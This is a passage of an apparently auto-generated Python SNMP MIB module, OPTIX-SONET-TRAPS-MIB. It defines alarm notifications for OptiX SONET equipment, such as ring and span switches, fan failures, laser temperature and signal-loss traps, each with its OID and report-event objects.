("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLockoutProtectionForAllSpans.setStatus('current') almRingSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32925)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRingSwitch.setStatus('current') almSpanSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32926)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSpanSwitch.setStatus('current') almSwitchToPassthru = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32927)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSwitchToPassthru.setStatus('current') almPersistentLineSquelching = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32928)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPersistentLineSquelching.setStatus('current') almDbmsCfgBackupFailed = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33156)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDbmsCfgBackupFailed.setStatus('current') almFanFailures = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33161)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFanFailures.setStatus('current') almInvalidEQPT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33170)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almInvalidEQPT.setStatus('current') almLaserApdBiasVoltageHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33171)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLaserApdBiasVoltageHigh.setStatus('current') almLaserApdBiasVoltageLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33172)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLaserApdBiasVoltageLow.setStatus('current') almLBCHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33174)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLBCHigh.setStatus('current') almLBCLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33175)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLBCLow.setStatus('current') almLCCHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33176)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLCCHigh.setStatus('current') almLCCLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33177)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLCCLow.setStatus('current') almLinkError = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33280)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLinkError.setStatus('current') almLOA = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33281)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLOA.setStatus('current') almLOF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33282)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLOF.setStatus('current') almLOMPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33283)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLOMPath.setStatus('current') almLOS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33284)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLOS.setStatus('current') almLaserTemperatureHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33286)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLaserTemperatureHigh.setStatus('current') almLaserTemperatureLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33287)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLaserTemperatureLow.setStatus('current') almNeBdDataMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33289)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almNeBdDataMismatch.setStatus('current') almNoLaserParameter = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33298)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almNoLaserParameter.setStatus('current') almSyncReferenceSourceFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33301)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSyncReferenceSourceFailure.setStatus('current') almSignalDegradeVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33304)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSignalDegradeVT.setStatus('current') almSignalFailureVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33305)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSignalFailureVT.setStatus('current') almSequenceNumberMismatchedVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33312)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSequenceNumberMismatchedVT.setStatus('current') almSoftwareVersionMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33314)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", 